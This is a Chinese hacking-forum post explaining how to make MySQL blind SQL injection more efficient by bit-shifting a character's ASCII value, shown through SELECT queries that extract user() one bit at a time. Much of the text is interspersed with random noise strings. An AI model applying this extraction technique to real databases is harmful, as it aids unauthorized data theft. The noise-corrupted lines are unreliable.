找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2523|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位2 {: g. k7 o9 d5 {3 X  W+ Q# D9 N
8 v3 _2 X; u) ], d

) |+ k' H3 d, E. i6 ^; H% e# }
. n# x6 X3 i; \% O3 [4 b4 J下面将以查询mysql数据库当中user()的第一位为例:
. }( D# Y; w6 H
+ E" q# p. w( |: W4 G% m7 d( Z' f , j5 Q5 G; C6 e0 C) Q
* _# o4 S! E" c7 q9 v& M, u4 i2 M* f
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)- N' R1 c) M$ d4 y

8 \! e7 R6 ~7 E" ^
. p% N7 G8 z( o' A! F. h6 s4 }, g& p2 F1 ~, h& _" I/ R
首先执行如下sql语句:* L  Y/ t( w& K
" |, G+ D% T5 j. ]1 u

- R0 `% V$ M: T# R4 k7 Z! T4 a8 h- t$ z
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
% |! X, K8 n  }
# K) p" T) r5 A
" ^: Z3 B. ]1 h! X& S5 d6 N4 v6 k6 f& r) U5 ~( v" F/ \
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
: i, W* e& \8 p, T! J. U) e7 C$ ?4 a7 P& j* C
1 p' u# F. u3 C( Z+ X4 Y- v
& w# L. s( \, ^# ]* e
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
  v" J% c+ n4 ^' b6 `9 E
  P# g2 ]! n' C; s/ h3 Z/ c+ {: w
4 b" t4 `: [: |' ]. ~) D. E' r% ?' j" v3 N7 C
如果运算结果为1,说明第一位为0,不为1
& s0 J" }4 ~6 h8 ^  @! u
0 }0 W  Q# _) I$ u' G! O
4 G$ H4 c/ Y- |
: P2 L, I2 m* t* `+————————————–+1 I5 Q% N' w- _; V# N
+ l2 l/ P* V* J9 a
| (ascii((substr(user(),1,1))) >> 7)=0 |
6 M# s( F4 \4 |; _  a8 Q5 n+ B4 V3 d' `* w) E7 @
+————————————–+
. c6 J7 b) W& n. i' s, s: B3 m; p6 H3 h
| 1 |
" z: m" ]& {* I$ e% O+ B
8 _* z% j9 t$ a+ O$ h' p+————————————–+
- Y8 q5 w& \9 s" R  |5 g
' E9 v" Z0 S. G4 Q% A1 row in set (0.00 sec)8 x5 ~3 P1 l  T' O. _! O& @
9 r2 W  Q% \' b0 W8 f0 Y' |
这样我们就确定这个8bit的ascii的第一位为0# t/ P; c9 h0 R- ~, U; j0 b6 J

* U* Q- d; i8 ?6 l( N  D) {5 h9 d
# Z8 y' `" I$ g9 ?) J: Y' ?/ j* i: [2 j9 _" V
第二次我们来做6次右偏移来确定前两位
* l+ u1 h* D$ H( N8 t/ Z. Z) M6 \# M, J7 A9 Q7 x& H; i
1 q& n) ]; g" }2 h: I

7 N1 [& {) }# e, K: D+ o2 q前两位可能是01或00,即依然可以与0做比较,2 K  P: ]( K. [' j
: K* |5 I, ]; Y$ a) N
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;4 n0 ^, T4 @" o% |* A6 @
) Z8 X' ]- G0 Z/ {, s6 K; D* ^
+————————————–+) ~( r+ q- c; Y4 D' q+ `

' t& y% _! t8 R( ^) v9 @: {  `) V6 N+ N. m| (ascii((substr(user(),1,1))) >> 6)=0 |
& z8 m0 b3 _# }; d% Q7 h" I; J- ?
3 c: h# ~& E3 C& l* R0 X+————————————–+
/ k9 _. a6 J. A1 R
: x( [6 n) |: `' \| 0 |
+ |1 h5 o8 g& @4 V. t7 @) V+ m) u
) b! W( T1 \! L' o/ c0 o8 M+————————————–+0 P1 q% a8 U: \5 M/ l
) H. V  L$ c, m3 ?( C8 v' t' Z
1 row in set (0.00 sec)  f* a# h" j2 F2 s* M9 `' S
: W1 y3 w* |3 Z3 C0 m

4 E' N% O  ~& G
4 H! ]* w5 [$ O, N结果为0,即第二位为1
2 l: k$ h0 n7 V9 i" r7 z- q: c
& z8 K; v$ Y  \% P5 l+ u: T1 R
+ o6 z+ P5 q# d) X' ?  P) l4 |9 @
/ [. X- K( _8 H4 N8 x, W4 c4 I开始猜测前三位为010或011
# b, o+ F$ L9 m6 n& k
# A% u- C# I5 E: b8 |+ K) p
! S' K8 X! N" ~: U- {& W8 i4 h  j
让我们看看010和011的ascii码是多少3 a# B) @( ]6 N. ]) V% P
1 G0 j' @2 u8 _1 [' ]( t$ |
+ k4 h7 r' I  x

5 W5 X1 [5 ^. S8 y) b$ l" k( k分别查询select b’011′ select b’010′# Q# r9 e  K. h7 \, ~
$ p* M6 r; e5 a$ h: E. `9 W

! F& L9 R: n( o' J8 G  Y- v2 m* A% M, Y8 l* i' ?# U2 T
获得结果 010 = 2 011 = 3
+ f1 d% A( G" E5 w: |, y- d2 b" A( [- o% y7 j! W  ?

2 a% i8 k$ \, w6 t+ U8 U
% j1 v8 t2 s8 t3 v$ x( A5 `( W  y3 p% K执行如下sql:
8 D  f5 \6 E" Q3 Z& i" I# \, l6 U" I; B, c3 ^/ |# L- ~$ J( d9 U
7 Z; M1 @  I+ S: N: e

7 a, F, r% p# Dmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
" p, g+ [1 w  L' E. E/ \! b3 @
" ]: h% E$ |' w. N3 ~% r$ Y+————————————–+: w. s% Y) u! `$ L5 j
& @! {/ B# e' E$ d
| (ascii((substr(user(),1,1))) >> 5)=2 |: n8 r* Y! d: f5 a+ \  C

3 B* q& \% N8 B+————————————–+
. ^& {5 X. ~4 ]4 m% e' a
, e- O5 @# Z9 H) H7 `% N) Y1 T| 0 |# m4 u0 k+ D5 ^0 j4 |# {7 L
5 G! d2 F9 k3 Y+ @9 I4 v
+————————————–+: N( d9 |& d  L2 g" O& Z( d  y
1 i' ]9 J* I2 ^+ ~* s$ H6 n
即前三位不为010,而是0118 ]; J- Z  x; `; q- D

# V" L3 u- C/ q* W6 b % ]) J, N3 o# {& R5 l# y
& y$ ^7 z" i6 z* A' {; B! k' Q
直到获得最后一位9 m* D' b3 y" Y

/ }0 l/ R# N! y" {
7 m5 {# S6 _: |6 @0 y! ]7 C* @; Q( W0 A& a( ~1 }
最终结果为:011100101 E4 x1 a7 F. `# q1 `! V3 w
& Z5 N. J/ M+ h1 |

( I0 b7 V( g6 }" c7 Z8 x. k3 w* b% O! L2 j5 d
转换一下:  ?' K9 S* t/ U
. E2 R0 y+ Q4 {3 M9 w) T; ^

# q0 x4 h( ?7 v8 s& j6 [6 B( u4 p( E) I7 m9 |4 H3 t/ @: [2 v
select b’01110010′! t* O1 h  t( Y! j& R

0 n1 Q, ?9 x- u5 y
! T; s1 I- X4 z0 E
$ h% S* O. l) W" F+ o查询结果
6 n$ T6 M. N3 e# L9 q: P- y. I# x$ \* z
  z. U! ?. J5 R. b6 f3 D& }1 K9 l
- |2 |7 B5 ]6 G; }+ z% Y" }: b
+————-+
+ ^* N; q1 x/ b: z) r$ O" l: M" s& w4 S! `
| b’01110010′ |6 c! g  C6 _0 Y6 Z
  S1 O# g% S+ i  B! v
+————-+5 _% g: V5 O# @( s; o

& Y$ i* e( Y$ H) D" p4 T! C| r |- I0 t+ Q. [+ u9 r8 Y) b9 R  m/ f0 m

4 M3 N$ _9 u4 |; c+————-+
  V4 Q6 N* X0 W) g
  O% ~5 D  L" |1 w; m1 row in set (0.00 sec)7 q: e1 N0 U/ H) C) b5 B0 s$ @
  N8 @) h. _/ @: z9 _

+ l+ N* A0 m- m7 o! U3 r  I* x) D8 c1 R1 z3 j) u5 c; ~
这样我们就获得了user()的第一位.其它位依此类推# q; f6 c6 b. w$ n9 y

5 p* z2 s- D9 Q0 r% D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表